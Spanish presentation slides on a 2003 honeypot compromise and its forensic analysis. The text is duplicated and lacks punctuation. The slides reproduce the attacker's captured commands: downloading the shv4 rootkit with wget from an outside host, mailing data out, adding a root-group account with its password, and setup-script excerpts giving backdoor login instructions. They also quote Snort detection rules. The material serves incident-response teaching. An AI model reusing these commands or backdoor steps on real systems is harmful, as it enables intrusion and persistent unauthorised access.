bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 4: Demostracion Hacking Honeypot y Análisis Forense

page 417062004

Seguridad un paso maacutes allaacute

page 517062004

Investigacioacuten de incidentes

1 Preparacioacuten2 Identificacioacuten

3 Contencioacuten

4 Anaacutelisis en profundidad

5 Recuperacioacuten

6 Leccionesaprendidas

page 617062004

Objetivo

ldquoMostrar con un ejemplo reducidolo importante que es investigar los

incidentes de seguridadrdquo

page 717062004

Descripcioacuten de la prueba realizada

bull Un ldquohoneypotrdquo es un recurso de seguridad cuyo valor consiste en ser atacado o comprometido [1]

bull Se usoacute como honeypot un PC fue instalado con LinuxRedHat 80 y conectado a Internet a traveacutes de un ADSL domeacutestico

bull Una vez comprometido se realizoacute un anaacutelisis forense sobre el sistema para obtener la mayor cantidad de informacioacuten posible

bull Ademaacutes del honeypot se configuroacute un IDS y se tomaron trazas de red En el anaacutelisis se distinguioacute queacute informacioacuten aportoacute cada parte

[1] Spitzner Lance Honeypots tracking hackers Addison Wesley 2003

page 817062004

Diagrama de red

Honeypot Host (IDS+Traza de red)

LAN (hub)

Router InternetADSL

page 917062004

Resumen del incidente (12)

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 1017062004

Resumen del incidente (22)

Honeypot Host (IDS+Traza de red)

LAN (hub)

Router

ADSL

EEUU

ITALIA

RUMANIA

ESPANtildeA (MADRID)

page 1117062004

Anaacutelisis forense

page 1217062004

Prueba 1Fecha de instalacioacuten del Honeypot

Conclusioacuten El honeypot se instaloacute los diacuteas 5 y 6 de julio de 2003Fuente RPM

[rootholmes dir2] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | head -5

Sat 05 Jul 2003 085412 PM CEST Sendmail-cfSat 05 Jul 2003 091858 PM CEST glibc-commonSat 05 Jul 2003 091859 PM CEST basesystemSat 05 Jul 2003 091859 PM CEST file systemSat 05 Jul 2003 091859 PM CEST gnome-mime-data[rootholmes root] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | tail -5

Sat 05 Jul 2003 093319 PM CEST screenSat 05 Jul 2003 093320 PM CEST xdeltaSat 05 Jul 2003 093349 PM CEST compsSun 06 Jul 2003 102454 AM CEST ncSun 06 Jul 2003 102611 AM CEST tripwire[rootholmes dir2]

page 1317062004

Prueba 2Honeypot apagado del 6 al 15 de julio

Conclusioacuten El honeypot estuvo apagado del 6 al 15 de julioFuente Autopsy + The Sleuth Kit timeline

Sun Jul 06 2003 125748 0 mac - varrunshutdownpid (deleted)0 mac - etcmailsendmailmcswp

(deleted)0 mac - lthoneypotsdb1dd-dead-51072gt

Sun Jul 06 2003 1257494096 mc d varrunconsole0 mac - varrunconsolelock (deleted)45 mac - homedavidbash_history24 a - rootbash_logout0 mac - lthoneypotsdb1dd-dead-51069gt

Tue Jul 15 2003 195705 42 a l libmodules2418-14pcmciaaha152x_cso -gt kerneldriversscsipcmciaaha152x_cso

41 a l libmodules2418-14pcmciawavelan_cso -gt kerneldriversnetpcmciawavelan_cso

page 1417062004

Prueba 3Primera alerta del IDS (x18 en 3 seg)

Conclusioacuten Intento de acceso remoto al honeypot (buffer overflow de SAMBA)Fuente Snort

[] [121034] NETBIOS SMB trans2open buffer overflow attempt [][Classification Attempted Administrator Privilege Gain] [Priority 1]0716-101928694888 101112942468 -gt 19216815139TCP TTL46 TOS0x0 ID30439 IpLen20 DgmLen1500 DFA Seq 0x59D7D6CF Ack 0x2EEEBAAF Win 0x16D0 TcpLen 32TCP Options (3) =gt NOP NOP TS 375824640 26197405[Xref =gt httpwwwdigitaldefensenetlabsadvisoriesDDI-1013txt][Xref =gt httpcvemitreorgcgi-bincvenamecginame=CAN-2003-0201]

page 1517062004

Prueba 4Nueva alerta del IDS ldquoid returned rootrdquo

Conclusioacuten (1s) El intruso comproboacute que era ldquorootrdquo en el sistemaFuente Snort

[] [14984] ATTACK-RESPONSES id check returned root [][Classification Potentially Bad Traffic] [Priority 2]0716-101932690898 1921681545295 -gt 101112942504TCP TTL64 TOS0x0 ID15658 IpLen20 DgmLen174 DFAP Seq 0x2ED6F968 Ack 0x596F6E90 Win 0x16A0 TcpLen 32TCP Options (3) =gt NOP NOP TS 26199287 375825045

page 1617062004

Prueba 5Alerta ldquoid returned rootrdquo La regla del IDS

Conclusioacuten La alerta la provocoacute un paquete conteniendo ldquouid=0(root)rdquoFuente Snort

SID 498Message ATTACK-RESPONSES id check returned root

Signature alert ip any any -gt any any (msgATTACK-RESPONSES id check returned root content uid=0(root) classtypebad-unknown sid498 rev4)

SummaryThis event is generated by the use of a UNIX id command This may be indicative of post-compromise behavior where the attacker is checking for super user privileges gained by a sucessful exploit against a vulnerable system

page 1717062004

Prueba 6Alerta ldquoid returned rootrdquo El paquete

Conclusioacuten El intruso ejecutoacute los comandos ldquouname ndashardquo e ldquoidrdquoFuente Snort

[rootholmes dir2] tcpdump -nn -r tcpdumplog1058291995 -X port 42504101932690898 1921681545295 gt 101112942504 P 785840488785840610(122) ack1500475024 win 5792 ltnopnoptimestamp 26199287 375825045gt (DF)0x0000 4500 00ae 3d2a 4000 4006 77ec XXXX XXXX E=w0x0010 XXXX XXXX XXXX XXXX 2ed6 f968 596f 6e90 shYon0x0020 8018 16a0 56a7 0000 0101 080a 018f c4f7 V0x0030 1666 a295 4c69 6e75 7820 6368 6172 6c69 fLinuxcharli0x0040 6520 322e 342e 3138 2d31 3420 2331 2057 e2418-141W0x0050 6564 2053 6570 2034 2031 333a 3335 3a35 edSep4133550x0060 3020 4544 5420 3230 3032 2069 3638 3620 0EDT2002i6860x0070 6936 3836 2069 3338 3620 474e 552f 4c69 i686i386GNULi0x0080 6e75 780a 7569 643d 3028 726f 6f74 2920 nuxuid=0(root)0x0090 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root)grou0x00a0 7073 3d39 3928 6e6f 626f 6479 290a ps=99(nobody)[rootholmes dir2]

page 1817062004

Prueba 7Ejecucioacuten del comando ldquomailrdquo

Conclusioacuten (2s) El intruso envioacute un mensaje de correo electroacutenicoFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 100937 112 a - etcmailrc754801 a - usrsbinsendmailsendmail83905 a - binmail4770 mc - varlogsambasmbdlog

page 1917062004

Prueba 8Alerta del IDS por el enviacuteo del correo

Conclusioacuten El IDS detectoacute la direccioacuten destino de la conexioacuten SMTPFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-101934191136 1921681532774 -gt 10227825TCP TTL64 TOS0x0 ID16590 IpLen20 DgmLen60 DFS Seq 0x2EE98728 Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26200038 0 NOP WS 0

page 2017062004

Prueba 9Destinatario del correo

Conclusioacuten El fichero de log muestra el destinatario del mensajeFuente varlogmaillog

Jul 16 100944 charlie Sendmail[7393] h6G89cPq007391to=ltsome_addressyahoocomgt ctladdr=ltrootcharliedummynetgt (00)delay=000005 xdelay=000005 mailer=esmtp pri=30318relay=mailyahoocom [102278] dsn=200 stat=Sent (ok dirdel)

page 2117062004

Prueba 10Contenido del mensaje

Conclusioacuten Este era el contenido del mensaje (fichero borrado)Fuente Autopsy + The Sleuth Kit

samba

page 2217062004

Prueba 11Creacioacuten de un nuevo usuario ldquogo----rdquo

Conclusioacuten (4m 17s) El intruso creoacute un nuevo usuario llamado ldquogo----rdquoFuente varlogsecure

Jul 16 101359 charlie adduser[7401] new user name=go---- uid=501gid=10 home=etcgo---- shell=binbash

page 2317062004

Prueba 12Ejecucioacuten del comando ldquopasswdrdquo

Conclusioacuten (11s) El intruso establecioacute la contrasentildea del nuevo usuarioFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101410 15368 a - usrbinpasswd211 a - etcpamdpasswd

Wed Jul 16 2003 101417 1024 a - usrlibcracklib_dicthwmWed Jul 16 2003 101418 42116 a - usrlibcracklib_dictpwi

828567 a - usrlibcracklib_dictpwdWed Jul 16 2003 101446 1113 mc - etcshadow

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 5: Demostracion Hacking Honeypot y Análisis Forense

page 517062004

Investigacioacuten de incidentes

1 Preparacioacuten2 Identificacioacuten

3 Contencioacuten

4 Anaacutelisis en profundidad

5 Recuperacioacuten

6 Leccionesaprendidas

page 617062004

Objetivo

ldquoMostrar con un ejemplo reducidolo importante que es investigar los

incidentes de seguridadrdquo

page 717062004

Descripcioacuten de la prueba realizada

bull Un ldquohoneypotrdquo es un recurso de seguridad cuyo valor consiste en ser atacado o comprometido [1]

bull Se usoacute como honeypot un PC fue instalado con LinuxRedHat 80 y conectado a Internet a traveacutes de un ADSL domeacutestico

bull Una vez comprometido se realizoacute un anaacutelisis forense sobre el sistema para obtener la mayor cantidad de informacioacuten posible

bull Ademaacutes del honeypot se configuroacute un IDS y se tomaron trazas de red En el anaacutelisis se distinguioacute queacute informacioacuten aportoacute cada parte

[1] Spitzner Lance Honeypots tracking hackers Addison Wesley 2003

page 817062004

Diagrama de red

Honeypot Host (IDS+Traza de red)

LAN (hub)

Router InternetADSL

page 917062004

Resumen del incidente (12)

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 1017062004

Resumen del incidente (22)

Honeypot Host (IDS+Traza de red)

LAN (hub)

Router

ADSL

EEUU

ITALIA

RUMANIA

ESPANtildeA (MADRID)

page 1117062004

Anaacutelisis forense

page 1217062004

Prueba 1Fecha de instalacioacuten del Honeypot

Conclusioacuten El honeypot se instaloacute los diacuteas 5 y 6 de julio de 2003Fuente RPM

[rootholmes dir2] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | head -5

Sat 05 Jul 2003 085412 PM CEST Sendmail-cfSat 05 Jul 2003 091858 PM CEST glibc-commonSat 05 Jul 2003 091859 PM CEST basesystemSat 05 Jul 2003 091859 PM CEST file systemSat 05 Jul 2003 091859 PM CEST gnome-mime-data[rootholmes root] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | tail -5

Sat 05 Jul 2003 093319 PM CEST screenSat 05 Jul 2003 093320 PM CEST xdeltaSat 05 Jul 2003 093349 PM CEST compsSun 06 Jul 2003 102454 AM CEST ncSun 06 Jul 2003 102611 AM CEST tripwire[rootholmes dir2]

page 1317062004

Prueba 2Honeypot apagado del 6 al 15 de julio

Conclusioacuten El honeypot estuvo apagado del 6 al 15 de julioFuente Autopsy + The Sleuth Kit timeline

Sun Jul 06 2003 125748 0 mac - varrunshutdownpid (deleted)0 mac - etcmailsendmailmcswp

(deleted)0 mac - lthoneypotsdb1dd-dead-51072gt

Sun Jul 06 2003 1257494096 mc d varrunconsole0 mac - varrunconsolelock (deleted)45 mac - homedavidbash_history24 a - rootbash_logout0 mac - lthoneypotsdb1dd-dead-51069gt

Tue Jul 15 2003 195705 42 a l libmodules2418-14pcmciaaha152x_cso -gt kerneldriversscsipcmciaaha152x_cso

41 a l libmodules2418-14pcmciawavelan_cso -gt kerneldriversnetpcmciawavelan_cso

page 1417062004

Prueba 3Primera alerta del IDS (x18 en 3 seg)

Conclusioacuten Intento de acceso remoto al honeypot (buffer overflow de SAMBA)Fuente Snort

[] [121034] NETBIOS SMB trans2open buffer overflow attempt [][Classification Attempted Administrator Privilege Gain] [Priority 1]0716-101928694888 101112942468 -gt 19216815139TCP TTL46 TOS0x0 ID30439 IpLen20 DgmLen1500 DFA Seq 0x59D7D6CF Ack 0x2EEEBAAF Win 0x16D0 TcpLen 32TCP Options (3) =gt NOP NOP TS 375824640 26197405[Xref =gt httpwwwdigitaldefensenetlabsadvisoriesDDI-1013txt][Xref =gt httpcvemitreorgcgi-bincvenamecginame=CAN-2003-0201]

page 1517062004

Prueba 4Nueva alerta del IDS ldquoid returned rootrdquo

Conclusioacuten (1s) El intruso comproboacute que era ldquorootrdquo en el sistemaFuente Snort

[] [14984] ATTACK-RESPONSES id check returned root [][Classification Potentially Bad Traffic] [Priority 2]0716-101932690898 1921681545295 -gt 101112942504TCP TTL64 TOS0x0 ID15658 IpLen20 DgmLen174 DFAP Seq 0x2ED6F968 Ack 0x596F6E90 Win 0x16A0 TcpLen 32TCP Options (3) =gt NOP NOP TS 26199287 375825045

page 1617062004

Prueba 5Alerta ldquoid returned rootrdquo La regla del IDS

Conclusioacuten La alerta la provocoacute un paquete conteniendo ldquouid=0(root)rdquoFuente Snort

SID 498Message ATTACK-RESPONSES id check returned root

Signature alert ip any any -gt any any (msgATTACK-RESPONSES id check returned root content uid=0(root) classtypebad-unknown sid498 rev4)

SummaryThis event is generated by the use of a UNIX id command This may be indicative of post-compromise behavior where the attacker is checking for super user privileges gained by a sucessful exploit against a vulnerable system

page 1717062004

Prueba 6Alerta ldquoid returned rootrdquo El paquete

Conclusioacuten El intruso ejecutoacute los comandos ldquouname ndashardquo e ldquoidrdquoFuente Snort

[rootholmes dir2] tcpdump -nn -r tcpdumplog1058291995 -X port 42504101932690898 1921681545295 gt 101112942504 P 785840488785840610(122) ack1500475024 win 5792 ltnopnoptimestamp 26199287 375825045gt (DF)0x0000 4500 00ae 3d2a 4000 4006 77ec XXXX XXXX E=w0x0010 XXXX XXXX XXXX XXXX 2ed6 f968 596f 6e90 shYon0x0020 8018 16a0 56a7 0000 0101 080a 018f c4f7 V0x0030 1666 a295 4c69 6e75 7820 6368 6172 6c69 fLinuxcharli0x0040 6520 322e 342e 3138 2d31 3420 2331 2057 e2418-141W0x0050 6564 2053 6570 2034 2031 333a 3335 3a35 edSep4133550x0060 3020 4544 5420 3230 3032 2069 3638 3620 0EDT2002i6860x0070 6936 3836 2069 3338 3620 474e 552f 4c69 i686i386GNULi0x0080 6e75 780a 7569 643d 3028 726f 6f74 2920 nuxuid=0(root)0x0090 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root)grou0x00a0 7073 3d39 3928 6e6f 626f 6479 290a ps=99(nobody)[rootholmes dir2]

page 1817062004

Prueba 7Ejecucioacuten del comando ldquomailrdquo

Conclusioacuten (2s) El intruso envioacute un mensaje de correo electroacutenicoFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 100937 112 a - etcmailrc754801 a - usrsbinsendmailsendmail83905 a - binmail4770 mc - varlogsambasmbdlog

page 1917062004

Prueba 8Alerta del IDS por el enviacuteo del correo

Conclusioacuten El IDS detectoacute la direccioacuten destino de la conexioacuten SMTPFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-101934191136 1921681532774 -gt 10227825TCP TTL64 TOS0x0 ID16590 IpLen20 DgmLen60 DFS Seq 0x2EE98728 Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26200038 0 NOP WS 0

page 2017062004

Prueba 9Destinatario del correo

Conclusioacuten El fichero de log muestra el destinatario del mensajeFuente varlogmaillog

Jul 16 100944 charlie Sendmail[7393] h6G89cPq007391to=ltsome_addressyahoocomgt ctladdr=ltrootcharliedummynetgt (00)delay=000005 xdelay=000005 mailer=esmtp pri=30318relay=mailyahoocom [102278] dsn=200 stat=Sent (ok dirdel)

page 2117062004

Prueba 10Contenido del mensaje

Conclusioacuten Este era el contenido del mensaje (fichero borrado)Fuente Autopsy + The Sleuth Kit

samba

page 2217062004

Prueba 11Creacioacuten de un nuevo usuario ldquogo----rdquo

Conclusioacuten (4m 17s) El intruso creoacute un nuevo usuario llamado ldquogo----rdquoFuente varlogsecure

Jul 16 101359 charlie adduser[7401] new user name=go---- uid=501gid=10 home=etcgo---- shell=binbash

page 2317062004

Prueba 12Ejecucioacuten del comando ldquopasswdrdquo

Conclusioacuten (11s) El intruso establecioacute la contrasentildea del nuevo usuarioFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101410 15368 a - usrbinpasswd211 a - etcpamdpasswd

Wed Jul 16 2003 101417 1024 a - usrlibcracklib_dicthwmWed Jul 16 2003 101418 42116 a - usrlibcracklib_dictpwi

828567 a - usrlibcracklib_dictpwdWed Jul 16 2003 101446 1113 mc - etcshadow

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

